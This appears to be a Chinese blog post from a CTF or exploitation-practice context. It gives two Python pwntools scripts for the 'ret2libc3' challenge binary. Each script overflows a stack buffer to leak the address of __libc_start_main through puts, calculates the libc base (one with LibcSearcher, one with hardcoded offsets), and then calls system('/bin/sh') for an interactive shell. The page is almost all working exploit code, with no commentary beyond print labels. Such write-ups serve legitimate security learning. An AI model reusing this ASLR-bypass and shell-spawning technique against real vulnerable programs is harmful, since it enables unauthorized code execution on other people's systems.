zoukankan      html  css  js  c++  java
  • ret2libc3两种利用方法

    方法1(使用LibcSearcher):

    from pwn import *
    from LibcSearcher import LibcSearcher
    sh = process('./ret2libc3')
    
    ret2libc3 = ELF('./ret2libc3')
    
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    main = ret2libc3.symbols['main']
    
    print "leak libc_start_main_got addr and return to main again"
    payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
    sh.sendlineafter('Can you find it !?', payload)
    
    print "get the related addr"
    libc_start_main_addr = u32(sh.recv()[0:4])
    libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
    libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
    system_addr = libcbase + libc.dump('system')
    binsh_addr = libcbase + libc.dump('str_bin_sh')
    
    print "get shell"
    payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
    sh.sendline(payload)
    
    sh.interactive()
    

    方法2(不使用LibcSearcher):

    from pwn import *
    
    sh = process('./ret2libc3')
    elf = ELF('./ret2libc3')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    puts_plt = elf.plt['puts']
    libc_start_main_got = elf.got['__libc_start_main']
    main = elf.symbols['main']
    
    print "leak libc_start_main_got addr and return to main again"
    payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
    sh.sendlineafter('Can you find it !?', payload)
    
    print "get the related addr"
    libc_start_main_addr = u32(sh.recv()[0:4])
    
    libcbase = libc_start_main_addr - 0x18d90
    print hex(libcbase)
    system_addr = libcbase + 0x3d200
    binsh_addr = libcbase + 0x0017e0cf
    print "get shell"
    payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
    sh.sendline(payload)
    
    sh.interactive()
    
  • 相关阅读:
    漏洞扫描
    端口探测
    IP探测
    kali linux基础命令
    python学习07
    python学习06
    openoffice+jquery.media.js实现Linux与Windows中文档在线预览
    Oracle10g安装包
    MyEclipse2014安装包附注册破解包、eclipse安装包
    外层div自适应内层div高度
  • 原文地址:https://www.cnblogs.com/xlcm/p/11905774.html
Copyright © 2011-2022 走看看